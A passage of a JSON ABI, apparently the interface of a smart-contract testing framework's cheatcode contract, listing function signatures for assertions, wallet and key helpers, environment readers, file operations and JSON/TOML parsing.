ype":"function","name":"assertNotEq"},{"inputs":[{"internalType":"bytes[]","name":"left","type":"bytes[]"},{"internalType":"bytes[]","name":"right","type":"bytes[]"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertNotEq"},{"inputs":[{"internalType":"bool","name":"left","type":"bool"},{"internalType":"bool","name":"right","type":"bool"}],"stateMutability":"pure","type":"function","name":"assertNotEq"},{"inputs":[{"internalType":"bool[]","name":"left","type":"bool[]"},{"internalType":"bool[]","name":"right","type":"bool[]"}],"stateMutability":"pure","type":"function","name":"assertNotEq"},{"inputs":[{"internalType":"bytes","name":"left","type":"bytes"},{"internalType":"bytes","name":"right","type":"bytes"}],"stateMutability":"pure","type":"function","name":"assertNotEq"},{"inputs":[{"internalType":"address[]","name":"left","type":"address[]"},{"internalType":"address[]","name":"right","type":"address[]"}],"stateMutability":"pure","type":"function","name":"assertNotEq"},{"inputs":[{"internalType":"int256","name":"left","type":"int256"},{"internalType":"int256","name":"right","type":"int256"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertNotEq"},{"inputs":[{"internalType":"uint256[]","name":"left","type":"uint256[]"},{"internalType":"uint256[]","name":"right","type":"uint256[]"}],"stateMutability":"pure","type":"function","name":"assertNotEq"},{"inputs":[{"internalType":"bool[]","name":"left","type":"bool[]"},{"internalType":"bool[]","name":"right","type":"bool[]"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertNotEq"},{"inputs":[{"internalType":"string","name":"left","type":"string"},{"internalType":"string","name":"right","type":"string"}],"stateMutability":"pure","type":"function","name":"assertNotEq"},{"inputs":[{"internalType":"address[]","name":"left","type":"address[]"},{"internalType":"address[]","name":"right","type":"address[]"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertNotEq"},{"inputs":[{"internalType":"string","name":"left","type":"string"},{"internalType":"string","name":"right","type":"string"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertNotEq"},{"inputs":[{"internalType":"address","name":"left","type":"address"},{"internalType":"address","name":"right","type":"address"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertNotEq"},{"inputs":[{"internalType":"bytes32","name":"left","type":"bytes32"},{"internalType":"bytes32","name":"right","type":"bytes32"}],"stateMutability":"pure","type":"function","name":"assertNotEq"},{"inputs":[{"internalType":"bytes","name":"left","type":"bytes"},{"internalType":"bytes","name":"right","type":"bytes"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertNotEq"},{"inputs":[{"internalType":"uint256","name":"left","type":"uint256"},{"internalType":"uint256","name":"right","type":"uint256"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertNotEq"},{"inputs":[{"internalType":"uint256[]","name":"left","type":"uint256[]"},{"internalType":"uint256[]","name":"right","type":"uint256[]"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertNotEq"},{"inputs":[{"internalType":"address","name":"left","type":"address"},{"internalType":"address","name":"right","type":"address"}],"stateMutability":"pure","type":"function","name":"assertNotEq"},{"inputs":[{"internalType":"bytes32","name":"left","type":"bytes32"},{"internalType":"bytes32","name":"right","type":"bytes32"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertNotEq"},{"inputs":[{"internalType":"string[]","name":"left","type":"string[]"},{"internalType":"string[]","name":"right","type":"string[]"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertNotEq"},{"inputs":[{"internalType":"uint256","name":"left","type":"uint256"},{"internalType":"uint256","name":"right","type":"uint256"}],"stateMutability":"pure","type":"function","name":"assertNotEq"},{"inputs":[{"internalType":"bytes32[]","name":"left","type":"bytes32[]"},{"internalType":"bytes32[]","name":"right","type":"bytes32[]"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertNotEq"},{"inputs":[{"internalType":"string[]","name":"left","type":"string[]"},{"internalType":"string[]","name":"right","type":"string[]"}],"stateMutability":"pure","type":"function","name":"assertNotEq"},{"inputs":[{"internalType":"int256[]","name":"left","type":"int256[]"},{"internalType":"int256[]","name":"right","type":"int256[]"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertNotEq"},{"inputs":[{"internalType":"bytes[]","name":"left","type":"bytes[]"},{"internalType":"bytes[]","name":"right","type":"bytes[]"}],"stateMutability":"pure","type":"function","name":"assertNotEq"},{"inputs":[{"internalType":"int256","name":"left","type":"int256"},{"internalType":"int256","name":"right","type":"int256"}],"stateMutability":"pure","type":"function","name":"assertNotEq"},{"inputs":[{"internalType":"int256","name":"left","type":"int256"},{"internalType":"int256","name":"right","type":"int256"},{"internalType":"uint256","name":"decimals","type":"uint256"}],"stateMutability":"pure","type":"function","name":"assertNotEqDecimal"},{"inputs":[{"internalType":"int256","name":"left","type":"int256"},{"internalType":"int256","name":"right","type":"int256"},{"internalType":"uint256","name":"decimals","type":"uint256"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertNotEqDecimal"},{"inputs":[{"internalType":"uint256","name":"left","type":"uint256"},{"internalType":"uint256","name":"right","type":"uint256"},{"internalType":"uint256","name":"decimals","type":"uint256"}],"stateMutability":"pure","type":"function","name":"assertNotEqDecimal"},{"inputs":[{"internalType":"uint256","name":"left","type":"uint256"},{"internalType":"uint256","name":"right","type":"uint256"},{"internalType":"uint256","name":"decimals","type":"uint256"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertNotEqDecimal"},{"inputs":[{"internalType":"bool","name":"condition","type":"bool"}],"stateMutability":"pure","type":"function","name":"assertTrue"},{"inputs":[{"internalType":"bool","name":"condition","type":"bool"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertTrue"},{"inputs":[{"internalType":"bool","name":"condition","type":"bool"}],"stateMutability":"pure","type":"function","name":"assume"},{"inputs":[{"internalType":"string","name":"char","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"breakpoint"},{"inputs":[{"internalType":"string","name":"char","type":"string"},{"internalType":"bool","name":"value","type":"bool"}],"stateMutability":"nonpayable","type":"function","name":"breakpoint"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"broadcast"},{"inputs":[{"internalType":"address","name":"signer","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"broadcast"},{"inputs":[{"internalType":"uint256","name":"privateKey","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"broadcast"},{"inputs":[{"internalType":"string","name":"path","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"closeFile"},{"inputs":[{"internalType":"bytes32","name":"salt","type":"bytes32"},{"internalType":"bytes32","name":"initCodeHash","type":"bytes32"}],"stateMutability":"pure","type":"function","name":"computeCreate2Address","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[{"internalType":"bytes32","name":"salt","type":"bytes32"},{"internalType":"bytes32","name":"initCodeHash","type":"bytes32"},{"internalType":"address","name":"deployer","type":"address"}],"stateMutability":"pure","type":"function","name":"computeCreate2Address","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[{"internalType":"address","name":"deployer","type":"address"},{"internalType":"uint256","name":"nonce","type":"uint256"}],"stateMutability":"pure","type":"function","name":"computeCreateAddress","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[{"internalType":"string","name":"from","type":"string"},{"internalType":"string","name":"to","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"copyFile","outputs":[{"internalType":"uint64","name":"copied","type":"uint64"}]},{"inputs":[{"internalType":"string","name":"path","type":"string"},{"internalType":"bool","name":"recursive","type":"bool"}],"stateMutability":"nonpayable","type":"function","name":"createDir"},{"inputs":[{"internalType":"string","name":"walletLabel","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"createWallet","outputs":[{"internalType":"struct VmSafe.Wallet","name":"wallet","type":"tuple","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"uint256","name":"publicKeyX","type":"uint256"},{"internalType":"uint256","name":"publicKeyY","type":"uint256"},{"internalType":"uint256","name":"privateKey","type":"uint256"}]}]},{"inputs":[{"internalType":"uint256","name":"privateKey","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"createWallet","outputs":[{"internalType":"struct VmSafe.Wallet","name":"wallet","type":"tuple","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"uint256","name":"publicKeyX","type":"uint256"},{"internalType":"uint256","name":"publicKeyY","type":"uint256"},{"internalType":"uint256","name":"privateKey","type":"uint256"}]}]},{"inputs":[{"internalType":"uint256","name":"privateKey","type":"uint256"},{"internalType":"string","name":"walletLabel","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"createWallet","outputs":[{"internalType":"struct VmSafe.Wallet","name":"wallet","type":"tuple","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"uint256","name":"publicKeyX","type":"uint256"},{"internalType":"uint256","name":"publicKeyY","type":"uint256"},{"internalType":"uint256","name":"privateKey","type":"uint256"}]}]},{"inputs":[{"internalType":"string","name":"mnemonic","type":"string"},{"internalType":"string","name":"derivationPath","type":"string"},{"internalType":"uint32","name":"index","type":"uint32"},{"internalType":"string","name":"language","type":"string"}],"stateMutability":"pure","type":"function","name":"deriveKey","outputs":[{"internalType":"uint256","name":"privateKey","type":"uint256"}]},{"inputs":[{"internalType":"string","name":"mnemonic","type":"string"},{"internalType":"uint32","name":"index","type":"uint32"},{"internalType":"string","name":"language","type":"string"}],"stateMutability":"pure","type":"function","name":"deriveKey","outputs":[{"internalType":"uint256","name":"privateKey","type":"uint256"}]},{"inputs":[{"internalType":"string","name":"mnemonic","type":"string"},{"internalType":"uint32","name":"index","type":"uint32"}],"stateMutability":"pure","type":"function","name":"deriveKey","outputs":[{"internalType":"uint256","name":"privateKey","type":"uint256"}]},{"inputs":[{"internalType":"string","name":"mnemonic","type":"string"},{"internalType":"string","name":"derivationPath","type":"string"},{"internalType":"uint32","name":"index","type":"uint32"}],"stateMutability":"pure","type":"function","name":"deriveKey","outputs":[{"internalType":"uint256","name":"privateKey","type":"uint256"}]},{"inputs":[{"internalType":"string","name":"name","type":"string"}],"stateMutability":"view","type":"function","name":"envAddress","outputs":[{"internalType":"address","name":"value","type":"address"}]},{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"delim","type":"string"}],"stateMutability":"view","type":"function","name":"envAddress","outputs":[{"internalType":"address[]","name":"value","type":"address[]"}]},{"inputs":[{"internalType":"string","name":"name","type":"string"}],"stateMutability":"view","type":"function","name":"envBool","outputs":[{"internalType":"bool","name":"value","type":"bool"}]},{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"delim","type":"string"}],"stateMutability":"view","type":"function","name":"envBool","outputs":[{"internalType":"bool[]","name":"value","type":"bool[]"}]},{"inputs":[{"internalType":"string","name":"name","type":"string"}],"stateMutability":"view","type":"function","name":"envBytes","outputs":[{"internalType":"bytes","name":"value","type":"bytes"}]},{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"delim","type":"string"}],"stateMutability":"view","type":"function","name":"envBytes","outputs":[{"internalType":"bytes[]","name":"value","type":"bytes[]"}]},{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"delim","type":"string"}],"stateMutability":"view","type":"function","name":"envBytes32","outputs":[{"internalType":"bytes32[]","name":"value","type":"bytes32[]"}]},{"inputs":[{"internalType":"string","name":"name","type":"string"}],"stateMutability":"view","type":"function","name":"envBytes32","outputs":[{"internalType":"bytes32","name":"value","type":"bytes32"}]},{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"delim","type":"string"}],"stateMutability":"view","type":"function","name":"envInt","outputs":[{"internalType":"int256[]","name":"value","type":"int256[]"}]},{"inputs":[{"internalType":"string","name":"name","type":"string"}],"stateMutability":"view","type":"function","name":"envInt","outputs":[{"internalType":"int256","name":"value","type":"int256"}]},{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"delim","type":"string"},{"internalType":"bytes32[]","name":"defaultValue","type":"bytes32[]"}],"stateMutability":"view","type":"function","name":"envOr","outputs":[{"internalType":"bytes32[]","name":"value","type":"bytes32[]"}]},{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"delim","type":"string"},{"internalType":"int256[]","name":"defaultValue","type":"int256[]"}],"stateMutability":"view","type":"function","name":"envOr","outputs":[{"internalType":"int256[]","name":"value","type":"int256[]"}]},{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"bool","name":"defaultValue","type":"bool"}],"stateMutability":"view","type":"function","name":"envOr","outputs":[{"internalType":"bool","name":"value","type":"bool"}]},{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"address","name":"defaultValue","type":"address"}],"stateMutability":"view","type":"function","name":"envOr","outputs":[{"internalType":"address","name":"value","type":"address"}]},{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"uint256","name":"defaultValue","type":"uint256"}],"stateMutability":"view","type":"function","name":"envOr","outputs":[{"internalType":"uint256","name":"value","type":"uint256"}]},{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"delim","type":"string"},{"internalType":"bytes[]","name":"defaultValue","type":"bytes[]"}],"stateMutability":"view","type":"function","name":"envOr","outputs":[{"internalType":"bytes[]","name":"value","type":"bytes[]"}]},{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"delim","type":"string"},{"internalType":"uint256[]","name":"defaultValue","type":"uint256[]"}],"stateMutability":"view","type":"function","name":"envOr","outputs":[{"internalType":"uint256[]","name":"value","type":"uint256[]"}]},{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"delim","type":"string"},{"internalType":"string[]","name":"defaultValue","type":"string[]"}],"stateMutability":"view","type":"function","name":"envOr","outputs":[{"internalType":"string[]","name":"value","type":"string[]"}]},{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"bytes","name":"defaultValue","type":"bytes"}],"stateMutability":"view","type":"function","name":"envOr","outputs":[{"internalType":"bytes","name":"value","type":"bytes"}]},{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"bytes32","name":"defaultValue","type":"bytes32"}],"stateMutability":"view","type":"function","name":"envOr","outputs":[{"internalType":"bytes32","name":"value","type":"bytes32"}]},{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"int256","name":"defaultValue","type":"int256"}],"stateMutability":"view","type":"function","name":"envOr","outputs":[{"internalType":"int256","name":"value","type":"int256"}]},{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"delim","type":"string"},{"internalType":"address[]","name":"defaultValue","type":"address[]"}],"stateMutability":"view","type":"function","name":"envOr","outputs":[{"internalType":"address[]","name":"value","type":"address[]"}]},{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"defaultValue","type":"string"}],"stateMutability":"view","type":"function","name":"envOr","outputs":[{"internalType":"string","name":"value","type":"string"}]},{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"delim","type":"string"},{"internalType":"bool[]","name":"defaultValue","type":"bool[]"}],"stateMutability":"view","type":"function","name":"envOr","outputs":[{"internalType":"bool[]","name":"value","type":"bool[]"}]},{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"delim","type":"string"}],"stateMutability":"view","type":"function","name":"envString","outputs":[{"internalType":"string[]","name":"value","type":"string[]"}]},{"inputs":[{"internalType":"string","name":"name","type":"string"}],"stateMutability":"view","type":"function","name":"envString","outputs":[{"internalType":"string","name":"value","type":"string"}]},{"inputs":[{"internalType":"string","name":"name","type":"string"}],"stateMutability":"view","type":"function","name":"envUint","outputs":[{"internalType":"uint256","name":"value","type":"uint256"}]},{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"delim","type":"string"}],"stateMutability":"view","type":"function","name":"envUint","outputs":[{"internalType":"uint256[]","name":"value","type":"uint256[]"}]},{"inputs":[{"internalType":"uint256","name":"fromBlock","type":"uint256"},{"internalType":"uint256","name":"toBlock","type":"uint256"},{"internalType":"address","name":"target","type":"address"},{"internalType":"bytes32[]","name":"topics","type":"bytes32[]"}],"stateMutability":"nonpayable","type":"function","name":"eth_getLogs","outputs":[{"internalType":"struct VmSafe.EthGetLogs[]","name":"logs","type":"tuple[]","components":[{"internalType":"address","name":"emitter","type":"address"},{"internalType":"bytes32[]","name":"topics","type":"bytes32[]"},{"internalType":"bytes","name":"data","type":"bytes"},{"internalType":"bytes32","name":"blockHash","type":"bytes32"},{"internalType":"uint64","name":"blockNumber","type":"uint64"},{"internalType":"bytes32","name":"transactionHash","type":"bytes32"},{"internalType":"uint64","name":"transactionIndex","type":"uint64"},{"internalType":"uint256","name":"logIndex","type":"uint256"},{"internalType":"bool","name":"removed","type":"bool"}]}]},{"inputs":[{"internalType":"string","name":"path","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"exists","outputs":[{"internalType":"bool","name":"result","type":"bool"}]},{"inputs":[{"internalType":"string[]","name":"commandInput","type":"string[]"}],"stateMutability":"nonpayable","type":"function","name":"ffi","outputs":[{"internalType":"bytes","name":"result","type":"bytes"}]},{"inputs":[{"internalType":"string","name":"path","type":"string"}],"stateMutability":"view","type":"function","name":"fsMetadata","outputs":[{"internalType":"struct VmSafe.FsMetadata","name":"metadata","type":"tuple","components":[{"internalType":"bool","name":"isDir","type":"bool"},{"internalType":"bool","name":"isSymlink","type":"bool"},{"internalType":"uint256","name":"length","type":"uint256"},{"internalType":"bool","name":"readOnly","type":"bool"},{"internalType":"uint256","name":"modified","type":"uint256"},{"internalType":"uint256","name":"accessed","type":"uint256"},{"internalType":"uint256","name":"created","type":"uint256"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"getBlockNumber","outputs":[{"internalType":"uint256","name":"height","type":"uint256"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"getBlockTimestamp","outputs":[{"internalType":"uint256","name":"timestamp","type":"uint256"}]},{"inputs":[{"internalType":"string","name":"artifactPath","type":"string"}],"stateMutability":"view","type":"function","name":"getCode","outputs":[{"internalType":"bytes","name":"creationBytecode","type":"bytes"}]},{"inputs":[{"internalType":"string","name":"artifactPath","type":"string"}],"stateMutability":"view","type":"function","name":"getDeployedCode","outputs":[{"internalType":"bytes","name":"runtimeBytecode","type":"bytes"}]},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"stateMutability":"view","type":"function","name":"getLabel","outputs":[{"internalType":"string","name":"currentLabel","type":"string"}]},{"inputs":[{"internalType":"address","name":"target","type":"address"},{"internalType":"bytes32","name":"elementSlot","type":"bytes32"}],"stateMutability":"nonpayable","type":"function","name":"getMappingKeyAndParentOf","outputs":[{"internalType":"bool","name":"found","type":"bool"},{"internalType":"bytes32","name":"key","type":"bytes32"},{"internalType":"bytes32","name":"parent","type":"bytes32"}]},{"inputs":[{"internalType":"address","name":"target","type":"address"},{"internalType":"bytes32","name":"mappingSlot","type":"bytes32"}],"stateMutability":"nonpayable","type":"function","name":"getMappingLength","outputs":[{"internalType":"uint256","name":"length","type":"uint256"}]},{"inputs":[{"internalType":"address","name":"target","type":"address"},{"internalType":"bytes32","name":"mappingSlot","type":"bytes32"},{"internalType":"uint256","name":"idx","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"getMappingSlotAt","outputs":[{"internalType":"bytes32","name":"value","type":"bytes32"}]},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"stateMutability":"view","type":"function","name":"getNonce","outputs":[{"internalType":"uint64","name":"nonce","type":"uint64"}]},{"inputs":[{"internalType":"struct VmSafe.Wallet","name":"wallet","type":"tuple","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"uint256","name":"publicKeyX","type":"uint256"},{"internalType":"uint256","name":"publicKeyY","type":"uint256"},{"internalType":"uint256","name":"privateKey","type":"uint256"}]}],"stateMutability":"nonpayable","type":"function","name":"getNonce","outputs":[{"internalType":"uint64","name":"nonce","type":"uint64"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"getRecordedLogs","outputs":[{"internalType":"struct VmSafe.Log[]","name":"logs","type":"tuple[]","components":[{"internalType":"bytes32[]","name":"topics","type":"bytes32[]"},{"internalType":"bytes","name":"data","type":"bytes"},{"internalType":"address","name":"emitter","type":"address"}]}]},{"inputs":[{"internalType":"string","name":"path","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"isDir","outputs":[{"internalType":"bool","name":"result","type":"bool"}]},{"inputs":[{"internalType":"string","name":"path","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"isFile","outputs":[{"internalType":"bool","name":"result","type":"bool"}]},{"inputs":[{"internalType":"string","name":"json","type":"string"},{"internalType":"string","name":"key","type":"string"}],"stateMutability":"view","type":"function","name":"keyExists","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"string","name":"json","type":"string"},{"internalType":"string","name":"key","type":"string"}],"stateMutability":"view","type":"function","name":"keyExistsJson","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"string","name":"toml","type":"string"},{"internalType":"string","name":"key","type":"string"}],"stateMutability":"view","type":"function","name":"keyExistsToml","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"string","name":"newLabel","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"label"},{"inputs":[{"internalType":"address","name":"target","type":"address"},{"internalType":"bytes32","name":"slot","type":"bytes32"}],"stateMutability":"view","type":"function","name":"load","outputs":[{"internalType":"bytes32","name":"data","type":"bytes32"}]},{"inputs":[{"internalType":"string","name":"stringifiedValue","type":"string"}],"stateMutability":"pure","type":"function","name":"parseAddress","outputs":[{"internalType":"address","name":"parsedValue","type":"address"}]},{"inputs":[{"internalType":"string","name":"stringifiedValue","type":"string"}],"stateMutability":"pure","type":"function","name":"parseBool","outputs":[{"internalType":"bool","name":"parsedValue","type":"bool"}]},{"inputs":[{"internalType":"string","name":"stringifiedValue","type":"string"}],"stateMutability":"pure","type":"function","name":"parseBytes","outputs":[{"internalType":"bytes","name":"parsedValue","type":"bytes"}]},{"inputs":[{"internalType":"string","name":"stringifiedValue","type":"string"}],"stateMutability":"pure","type":"function","name":"parseBytes32","outputs":[{"internalType":"bytes32","name":"parsedValue","type":"bytes32"}]},{"inputs":[{"internalType":"string","name":"stringifiedValue","type":"string"}],"stateMutability":"pure","type":"function","name":"parseInt","outputs":[{"internalType":"int256","name":"parsedValue","type":"int256"}]},{"inputs":[{"internalType":"string","name":"json","type":"string"}],"stateMutability":"pure","type":"function","name":"parseJson","outputs":[{"internalType":"bytes","name":"abiEncodedData","type":"bytes"}]},{"inputs":[{"internalType":"string","name":"json","type":"string"},{"internalType":"string","name":"key","type":"string"}],"stateMutability":"pure","type":"function","name":"parseJson","outputs":[{"internalType":"bytes","name":"abiEncodedData","type":"bytes"}]},{"inputs":[{"internalType":"string","name":"json","type":"string"},{"internalType":"string","name":"key","type":"string"}],"stateMutability":"pure","type":"function","name":"parseJsonAddress","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[{"internalType":"string","name":"json","type":"string"},{"internalType":"string","name":"key","type":"string"}],"stateMutability":"pure","type":"function","name":"parseJsonAddressArray","outputs":[{"internalType":"address[]","name":"","type":"address[]"}]},{"inputs":[{"internalType":"string","name":"json","type":"string"},{"internalType":"string","name":"key","type":"string"}],"stateMutability":"pure","type":"function","name":"parseJsonBool","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"string","name":"json","type":"string"},{"internalType":"string","name":"key","type":"string"}],"stateMutability":"pure","type":"function","name":"parseJsonBoolArray","outputs":[{"internalType":"bool[]","name":"","type":"bool[]"}]},{"inputs":[{"internalType":"string","name":"json","type":"string"},{"internalType":"string","name":"key","type":"string"}],"stateMutability":"pure","type":"function","name":"parseJsonBytes","outputs":[{"internalType":"bytes","name":"","type":"bytes"}]},{"inputs":[{"internalType":"string","name":"json","type":"string"},{"internalType":"string","name":"key","type":"string"}],"stateMutability":"pure","type":"function","name":"parseJsonBytes32","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}]},{"inputs":[{"internalType":"string","name":"json","type":"string"},{"internalType":"string","name":"key","type":"string"}],"stateMutability":"pure","type":"function","name":"parseJsonBytes32Array","outputs":[{"internalType":"bytes32[]","name":"","type":"bytes32[]"}]},{"inputs":[{"internalType":"string","name":"json","type":"string"},{"internalType":"string","name":"key","type":"string"}],"stateMutability":"pure","type":"function","name":"parseJsonBytesArray","outputs":[{"internalType":"bytes[]","name":"","type":"bytes[]"}]},{"inputs":[{"internalType":"string","name":"json","type":"string"},{"internalType":"string","name":"key","type":"string"}],"stateMutability":"pure","type":"function","name":"parseJsonInt","outputs":[{"internalType":"int256","name":"","type":"int256"}]},{"inputs":[{"internalType":"string","name":"json","type":"string"},{"internalType":"string","name":"key","type":"string"}],"stateMutability":"pure","type":"function","name":"parseJsonIntArray","outputs":[{"internalType":"int256[]","name":"","type":"int256[]"}]},{"inputs":[{"internalType":"string","name":"json","type":"string"},{"internalType":"string","name":"key","type":"string"}],"stateMutability":"pure","type":"function","name":"parseJsonKeys","outputs":[{"internalType":"string[]","name":"keys","type":"string[]"}]},{"inputs":[{"internalType":"string","name":"json","type":"string"},{"internalType":"string","name":"key","type":"string"}],"stateMutability":"pure","type":"function","name":"parseJsonString","outputs":[{"internalType":"string","name":"","type":"string"}]},{"inputs":[{"internalType":"string","name":"json","type":"string"},{"internalType":"string","name":"key","type":"string"}],"stateMutability":"pure","type":"function","name":"parseJsonStringArray","outputs":[{"internalType":"string[]","name":"","type":"string[]"}]},{"inputs":[{"internalType":"string","name":"json","type":"string"},{"internalType":"string","name":"key","type":"string"}],"stateMutability":"pure","type":"function","name":"parseJsonUint","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"string","name":"json","type":"string"},{"internalType":"string","name":"key","type":"string"}],"stateMutability":"pure","type":"function","name":"parseJsonUintArray","outputs":[{"internalType":"uint256[]","name":"","type":"uint256[]"}]},{"inputs":[{"internalType":"string","name":"toml","type":"string"},{"internalType":"string","name":"key","type":"string"}],"stateMutability":"pure","type":"function","name":"parseToml","outputs":[{"internalType":"bytes","name":"abiEncodedData","type":"bytes"}]},{"inputs":[{"internalType":"string","name":"toml","type":"string"}],"stateMutability":"pure","type":"function","name":"parseToml","outputs":[{"internalType":"bytes","name":"abiEncodedData","type":"bytes"}]},{"inputs":[{"internalType":"string","name":"toml","type":"string"},{"internalType":"string","name":"key","type":"string"}],"stateMutability":"pure","type":"function","name":"parseTomlAddress","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[{"internalType":"string","name":"toml","type":"string"},{"internalType":"string","name":"key","type":"string"}],"stateMutability":"pure","type":"function","name":"parseTomlAddressArray","outputs":[{"internalType":"address[]","name":"","type":"address[]"}]},{"inputs":[{"internalType":"string","name":"toml","type":"string"},{"internalType":"string","name":"key","type":"string"}],"stateMutability":"pure","type":"function","name":"parseTomlBool","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"string","name":"toml","type":"string"},{"internalType":"string","name":"key","type":"string"}],"stateMutability":"pure","type":"function","name":"parseTomlBoolArray","outputs":[{"internalType":"bool[]","name":"","type":"bool[]"}]},{"inputs":[{"internalType":"string","name":"toml","type":"string"},{"internalType":"string","name":"key","type":"string"}],"stateMutability":"pure","type":"function","name":"parseTomlBytes","outputs":[{"internalType":"bytes","name":"","type":"bytes"}]},{"inputs":[{"internalType":"string","name":"toml","type":"string"},{"internalType":"string","name":"key","type":"string"}],"stateMutability":"pure","type":"function","name":"parseTomlBytes32","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}]},{"inputs":[{"internalType":"string","name":"toml","type":"string"},{"internalType":"string","name":"key","type":"string"}],"stateMutability":"pure","type":"function","name":"parseTomlBytes32Array","outputs":[{"internalType":"bytes32[]","name":"","type":"bytes32[]"}]},{"inputs":[{"internalType":"string","name":"toml","type":"string"},{"internalType":"string","name":"key","type":"string"}],"stateMutability":"pure","type":"function","name":"parseTomlBytesArray","outputs":[{"internalType":"bytes[]","name":"","type":"bytes[]"}]},{"inputs":[{"internalType":"string","name":"toml","type":"string"},{"internalType":"string","name":"key","type":"string"}],"stateMutability":"pure","type":"function","name":"parseTomlInt","outputs":[{"internalType":"int256","name":"","type":"int256"}]},{"inputs":[{"internalType":"string","name":"toml","type":"string"},{"internalType":"string","name":"key","type":"string"}],"stateMutability":"pure","type":"function","name":"parseTomlIntArray","outputs":[{"internalType":"int256[]","name":"","type":"int256[]"}]},{"inputs":[{"internalType":"string","name":"toml","type":"string"},{"internalType":"string","name":"key","type":"string"}],"stateMutability":"pure","type":"function","name":"parseTomlKeys","outputs":[{"internalType":"string[]","name":"keys","type":"string[]"}]},{"inputs":[{"internalType":"string","name":"toml","type":"string"},{"internalType":"string","name":"key","type":"string"}],"stateMutability":"pure","type":"function","name":"parseTomlString","outputs":[{"internalType":"string","name":"","type":"string"}]},{"inputs":[{"internalType":"string","name":"toml","type":"string"},{"internalType":"string","name":"key","type":"string"}],"stateMutability":"pure","type":"function","name":"parseTomlStringArray","outputs":[{"internalType":"string[]","name":"","type":"string[]"}]},{"inputs":[{"internalType":"string","name":"toml","type":"string"},{"internalType":"string","name":"key","type":"string"}],"stateMutability":"pure","type":"function","name":"parseTomlUint","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"string","name":"toml","type":"s